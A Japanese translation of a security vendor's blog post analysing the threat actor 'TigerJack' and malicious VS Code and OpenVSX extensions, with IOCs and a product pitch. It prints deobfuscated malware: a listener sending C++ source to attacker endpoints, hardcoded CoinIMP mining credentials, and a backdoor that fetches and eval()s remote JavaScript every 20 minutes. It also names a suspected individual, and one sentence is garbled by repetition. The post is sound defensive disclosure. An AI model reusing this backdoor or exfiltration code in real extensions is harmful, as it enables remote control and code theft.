TigerJackの拡張機能は複数のマーケットプレイスで開発者から盗み続ける

TigerJackを紹介します – 2025年初頭から追跡している脅威アクターで、ab-498、498、498-00というアイデンティティで活動し、複数のパブリッシャーアカウントにわたって少なくとも11個の悪意あるVS Code拡張機能を体系的に潜入させています。TigerJackは高度な兵器を展開しており、ソースコードを盗むための拡張機能、暗号資産をマイニングするもの、完全なシステム制御のためのリモートバックドアが含まれています。

TigerJackの最も成功した2つの拡張機能 – 「C++ Playground」と「HTTP Format」 – は17,000人以上の開発者に感染しましたが、マイクロソフトはこれらを静かに削除しました。しかし脅威はそこで終わりませんでした。これらの拡張機能はOpenVSXマーケットプレイス(Cursor、Windsurfおよび他のVS Code互換IDEで使用)で完全に動作状態のままであり、マイクロソフトのプラットフォームから削除されてから数か月後でもコードを盗み暗号資産をマイニングし続けています。
この作戦を調査している最中でさえ、TigerJackは再び行動に出ました – マイクロソフト自身のマーケットプレイスで新しい名前で同じ悪意あるコードを再公開したのです。

Image

複雑なC++アルゴリズムをデバッグしていて、時間は午前2時、締め切りが迫っています。コードスニペットを素早くテストするのに役立つように見える拡張機能をインストールします。それは完璧に動作します – コードをコンパイルし、エラーを強調し、Googleのスタイルガイドでフォーマットしてくれます。あなたが知らないのは、あなたが入力したすべてのキーストロークがリアルタイムでサーバにサイレントでアップロードされており、あなたのCPUは暗号資産を秘密裏にマイニングしており、隠されたバックドアが20分ごとにあなたのシステムを完全に制御できる新しいコマンドをチェックしているということです。

これは、これらの拡張機能をインストールした何千もの開発者の現実です。マルウェアは目に見えないように動作し、約束した機能を正確に提供しながら、同時に知的財産を盗み、システムリソースをハイジャックし、リモートアクセスのための永続的なバックドアを維持しています。何かが間違っていることに気付く頃には – もしあなたがそれに気付いたら – あなたの数か月間の仕事が既に侵害されている可能性があります。

Image

マルウェアを紹介します:拡張機能 #1 – 「C++ Playground」

完璧なカバーストーリー

「C++ Playground」拡張機能は、C++開発者のための究極のコーディングアシスタントとして自らを表します。スムーズな体験を約束します:コードを即座に記述して実行する機能、自動フォーマット、エラーハイライト、さらにはプロジェクトをコンパイルするためのオフラインサポート。

ここでの巧妙な部分は、実際にそれを提供するということです。拡張機能は主張するすべてを行います:リアルタイムでコードをコンパイルし、入力時に間違いをハイライトし、GoogleのC++スタイルガイドを使用してすべてをきちんとフォーマットし、VS Codeインターフェースに完璧に調和します。それを試す開発者にとって、それはポーランド仕上げされた、プロフェッショナルグレードのツールのように感じます — 機能的には、それはそうだからです。

Image

しかし、このプロフェッショナルな外観の下には、1つの目的のために設計された高度なマルウェアがあります:あなたが書くコードのすべての行を盗むこと。

技術的な盗難メカニズム

拡張機能はonStartupFinishedトリガーのおかげでVS Codeが起動した瞬間に自動的に起動します。起動すると、ワークスペース内のすべてのC++ファイルを監視するドキュメント変更リスナーを登録します:

P.workspace.onDidChangeTextDocument(async (i) => {
    i.document &&
        i.document.languageId == "cpp" &&
        i.document?.uri.scheme == "file" &&
        (j?.document.uri.toString().includes(Ut) ||
            (mt.myfile != i.document.getText() &&
                (Bt(i), (mt.myfile = i.document.getText()))));
})

すべてのキーストロークは500ミリ秒の遅延後にこの関数をトリガーします — パフォーマンスに影響を与えるのに十分な長さですが、リアルタイムでコードをキャプチャするのに十分な速さです。完全なソースコードはJSONペイロードにパッケージ化され、複数のエンドポイントに送信されます:

// Primary exfiltration targetsea = [
"https://ab498.pythonanywhere.com/test4",
"https://api.codex.jaagrav.in", 
"https://ab498.pythonanywhere.com/compile",
]

ペイロード構造はデータ盗難の範囲を明らかにします:

{
code: "/* YOUR COMPLETE C++ SOURCE CODE */",
language: "cpp", 
replaced: "/* PROCESSED VERSION OF YOUR CODE */",
input: "/* SIMULATED INPUT DATA */"}

マルウェアは外科的精度で動作し、C++ファイルに対してのみ活性化され、他の言語で作業する開発者からの検出を回避します。しかし、C++開発者にとって、それはすべてをキャプチャします:あなたのブレークスルーアルゴリズム、あなたの会社の競争上の利点、あなたの論文プロジェクト。

マルウェアを紹介します:拡張機能 #2 – 「HTTP Format」

暗号資産マイニング作戦

「HTTP Format」拡張機能は異なるアプローチを採用しています。「シングルキーストローク」フォーマット機能を備えた単純なHTTPファイルフォーマッターとしてマーケティングされ、それはRESTAPIとHTTPファイルで作業する開発者向けの軽量ユーティリティとして自らを表します。

同じマルウェアと同様に、実際に動作します。インストールしてHTTPファイルでCtrl+Shift+Fを押すと、乱雑なAPIリクエストが美しくフォーマットされるのを見ることができます。拡張機能はそれが約束するもの正確に提供しますが、秘密裏にあなたのマシンを暗号資産マイニングリグに変えています。

Image

マイニングインフラストラクチャ

拡張機能の難読化されたコードに埋め込まれているのは、CoinIMP暗号資産マイニングサービスの完全なAPI認証情報です:

// Hardcoded mining operation credentialsSite Key: 53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9
API Key: a8cf5c9291594c471bb786dcadeb9845bc3cc26a17ec52ec632a9bb7844e5b87
Username: mainuser

ユーザー名:mainuser

これらの認証情報により、TigerJackはマイニングの進行状況を監視し、採掘された暗号資産を直接ウォレットに引き出し、収益性を追跡し、マイニング操作を最適化し、何千ものハイジャックされたシステムを同時に管理できます。

拡張機能は複数のCoinIMPエンドポイントへの接続を確立します:

# Balance monitoring
https://www.coinimp.com/api/v2/user/balance# User management  
https://www.coinimp.com/api/v2/user/list# Cryptocurrency withdrawal
https://www.coinimp.com/api/v2/user/withdraw

最初は、あなたのマシンが調子おかしいだけに感じます。ファンが常に回転しています。単純なタスクが遅れます。以前はスムーズだった開発環境は、今では不器用で信頼できないように感じます。IDEのせい、ハードウェアのせい、または単に厳しいアップデートのせいにするかもしれません – しかし実際の原因はバックグラウンドで静かに実行されており、CPUを消耗させ、生産性を食い潰しています。

しかし、それは単なる悪運ではなく、あなたのシステムがハイジャックされているのです。あなたがコーディングしている間、他の誰かはバックグラウンドで静かに暗号資産をマイニングしており、CPUを消耗させ、電気を無駄にしています。

一方、TigerJackにとって、それは楽々です。感染したすべてのマシンは受動的な収入源になります – 目に見えず、自動化され、スケーラブルです。

Image

脅威はエスカレートします

しかし、TigerJackの兵器庫はコード盗難と暗号資産マイニングで止まりませんでした。さらに調査を進めると、同じ作戦に関連した追加のアカウントと拡張機能を発見し、さらに危険な機能を明らかにしました:感染したマシンへの完全な制御を与えるリモートコード実行。

マルウェアを紹介します:拡張機能 #3 – リモートコード実行バックドア

完全なシステム制御

ソースコード盗難と暗号資産マイニングが十分に警戒されていなかったとしたら、TigerJackの作戦には、感染したマシンへの完全な制御を与えるリモートコード実行機能を持つ拡張機能という、はるかに危険なものが含まれています。

VS Codeマーケットプレイスの「498」パブリッシャーアカウント下で、498.cppplayground、498.httpformat、498.pythonformatの3つの拡張機能には、TigerJackのサーバから任意のJavaScriptを定期的にダウンロードして実行する同一のバックドアコードが含まれていました。

バックドアメカニズム

悪意あるコードは、20分ごとに新しいコマンドをチェックする永続的なバックドアを確立します。以下は難読化解除されたバージョンです:

asyncfunctionsetupBackdoor() {
try {
let previousCode = -1;
let fetchAndExecute = async () => {
try {
let remoteCode = await (
await fetch('https://ab498.pythonanywhere.com/static/in4.js')
        ).text();
if (remoteCode != previousCode) {
eval(remoteCode);
          previousCode = remoteCode;
        }
      } catch (error) {}
    };
await fetchAndExecute();
setInterval(fetchAndExecute, 1000 * 60 * 20);
  } catch (error) {
console.error('SRC_ERR', error);
  }
}

含意

コード流出と暗号資産マイニング拡張機能のような特定の予測可能な動作を持つのとは異なり、このリモートコード実行バックドアは開かれたドアです。20分ごとに新しい命令をチェックし、リモートから取得したコードでeval()を使用することにより、TigerJackは拡張機能を更新することなく任意の悪意あるペイロードを動的にプッシュできます — 認証情報とAPIキーを盗むこと、ランサムウェアを展開すること、侵害された開発者マシンをエンタープライズネットワークへの入口として使用すること、あなたのプロジェクトにバックドアを注入すること、またはあなたの活動をリアルタイムで監視すること。

これはTigerJackの機能の大幅なエスカレーションを表し、彼らの作戦が日和見的なマルウェア以上のものであることを示しています — これは最大限の柔軟性と制御のために設計された高度な攻撃インフラストラクチャです。

パブリッシャープロファイル:調整された複数アカウント作戦

最初は2つの悪意ある拡張機能の単純なケースのように見えていたのは、3つの異なるパブリッシャーアカウント(ab-498、498、498-00)にわたって少なくとも11個の拡張機能を網羅する、はるかに高度な何かに明かされています。

この複数アカウント戦略は1つのアカウントがフラグされた場合の冗長性を提供し、独立した開発者の幻想を作成し、プロフェッショナルレベルのソーシャルエンジニアリングを実証します:信頼性のためのGitHubリポジトリ、拡張機能全体での一貫したブランディング、詳細な機能リスト、プロフェッショナルなマーケットプレイスプレゼンテーション、正当なツール(cppformat、pythonformat、httpformat)を模倣する戦略的な命名。

Image

このパターンはTigerJackの核となる戦略を明らかにします:実際に宣伝されているとおりに機能する正当に見えるツールを作成しながら、バックグラウンドで目に見えないように動作する悪意ある機能を埋め込みます。それは完璧なカバーです:開発者は必要な機能を取得しながら、知らずのうちに知的財産盗難とリソースハイジャックの被害者になります。

TigerJackのデジタルフットプリントへの調査により、作戦で使用されたGitHubアカウントにリンクされたFacebookプロファイルが明らかになりました。このプロファイルは「Zubaer Ahmed」という名前で、TigerJackの実際の個人アカウントのように見え、彼の実在の身元が誤って露出した作戦セキュリティの失敗を示唆しています。このプロファイルはその後、公開ビューから削除または非表示にされています。

Image

トロイの木馬戦略

11の拡張機能の分析は、特に陰湿な戦術を明らかにします:いくつかは悪意あるコードを持たないまったくの無害なツールとしてアップロードされました — 悪意ある更新を展開する前に信頼を構築するために設計された古典的なトロイの木馬アプローチ。

最初にクリーンな拡張機能を公開することにより、脅威アクターはポジティブなレビューを蓄積し、セキュリティスキャンに合格し、合法性を確立できます。拡張機能が数百または数千のインストールで牽引力を得た後、悪意ある機能を導入する「アップデート」をプッシュできます。インストール前に拡張機能を検証した開発者は、知らずのうちに侵害されたツールを受け取ります。

マイクロソフトは最終的にこれらの初期段階では無害な拡張機能さえも削除しました — しかし単に同じパブリッシャーアカウントと関連付けられていたからです。これらのトロイの木馬拡張機能がリンクされていない別のアカウントで公開されていた場合、それらは今日のマーケットプレイスで検出されないままであった可能性が高く、悪意あるペイロード更新を待つスリーパーエージェントとして機能する可能性があります。

脅威が再度浮上します:調整された大量再公開

この調査を実施している間、脅威の状況はリアルタイムで進化し、私たちの懸念を検証しました。2025年9月17日、TigerJackは調整された再公開キャンペーンを開始しました — 単一の拡張機能ではなく、新しい「498-00」パブリッシャーアカウント下で5つの拡張機能が同時に公開され、元のC++ Playground拡張機能から同じ悪意あるコードを再パッケージ化した「cppplayground」を含みます。

これは削除されたマルウェアの単純な再公開ではありませんでした – 調整された、体系的なキャンペーンでした。5つの拡張機能を一度にパブリッシュすることは複数の目的を果たします:攻撃表面を増加させ、複数の拡張機能名全体でリスクを分散させ、プラットフォーム全体での遅い、一貫性のない検出と削除プロセスを利用します。

マーケットプレイスの貝殻ゲーム:保護のない検出

数か月間、両方の悪意ある拡張機能はVS Codeマーケットプレイスで自由に動作し、17,000以上のダウンロードを達成しながらコードを盗んで暗号資産をマイニングしました。マイクロソフトが最終的に行動に出たとき、彼らはユーザーへの通知なしで静かな削除を選択しました – セキュリティアドバイザリはなく、感染した開発者への警告もなく、ただの静かな削除と不透明なGitHubリポジトリに埋もれた拡張機能ID。17,000人以上の感染した開発者?自分自身でそれを理解するために残されました。

Image

これは、私たちの断片化した開発者エコシステムの根本的な欠陥を明らかにします。1つのマーケットプレイスがマルウェアを削除すると、脅威は単により保護されていないプラットフォームに移行します。この執筆時点で、両方の拡張機能はOpenVSXマーケットプレイスで完全に動作状態のままであり、プロフェッショナルな説明、ユーザーレビュー、セキュリティの幻想を作成する検証済みバッジが完備されています。

しかし、ここで本当に懸念される現実があります:OpenVSXおよび他の代替マーケットプレイスは、事実上のセキュリティ検出メカニズムを備えていないようです。マイクロソフトが最終的に数か月の損害の後に脅威を識別する一方で、これらのプラットフォームは最小限またはマルウェアスキャンなしで動作しています。マイクロソフトの検出を回避するのになぜ努力するのですか、マルウェアの拡張機能を見ていないプラットフォームに直接アップロードできるのですから?

その結果は、マルウェアがマーケットプレイスホップスコッチをプレイするセキュリティシェルゲームです — 1つのプラットフォームから削除されながら他のプラットフォームで繁栄します。メジャーなプラットフォームで識別するのに数か月かかる脅威は、より小さなプラットフォームで無制限のランウェイを取得し、まったく新しい脅威は完全にフリーパスを取得します。

セキュリティシアターのサイクルを破る

これは単に2つの拡張機能または1つのベンダーの対応についてではありません。それは、セキュリティの失敗がプラットフォーム全体にカスケードしているコミュニティ全体を脆弱なままにしているコミュニティ全体を脆弱にしているコミュニティ全体を脆弱にしているコミュニティ全体を脆弱にしているコミュニティ全体を脆弱にしている開発者エコシステムについてです。企業がブランドではなくユーザーを保護するセキュリティシアターに従事している間。

すべてのマーケットプレイスにわたってセキュリティが分割されているため、開発者が気付かないままで脅威が単にプラットフォーム間で移行している場合、危険なブラインドスポットが生まれます。

Koiで、私たちは異なるアプローチを取っています。各マーケットプレイスが独自のセキュリティ基準を開発するのを待つのではなく、拡張機能があなたの開発環境に到達する前に脅威を識別するために、すべての拡張機能マーケットプレイスを継続的にスキャンします。当社の包括的なリスク分析は、複数の脅威ベクトル全体で拡張機能を評価します – コード流出と暗号資産マイニングから疑わしいネットワーク動作と難読化されたペイロードまで。

あなたの環境で悪意ある拡張機能を検出すると、単にフラグを立てるだけではありません。自動修復を提供し、侵害されたツールを安全に削除し、潜在的な損害の評価を支援します。当社のインテリジェンスはマーケットプレイス境界にまたがります。脅威はプラットフォーム分割を尊重しないためです。

包括的なマーケットプレイスセキュリティがどのように機能するかを確認したい場合、または開発環境を保護する準備ができている場合は、デモを予約するか、当社に連絡してください。

IOC

ネットワーク:

  • ab498.pythonanywhere[.]com
  • api.codex.jaagrav[.]in
  • coinimp[.]com

拡張機能:

  • ab-498.cppplayground 
  • ab-498.httpformat 
  • ab-498.pythonformat
  • ab-498.cppformat 
  • 498.cppplayground 
  • 498.cppformat 
  • 498.httpformat 
  • 498.pythonformat 
  • 498-00.cppplayground 
  • 498-00.cppformat 
  • 498-00.pythonformat 
  • 498-00.testwebext 
  • 498-00.httpformat

翻訳元: https://www.koi.ai/blog/tiger-jack-malicious-vscode-extensions-stealing-code

ソース: koi.ai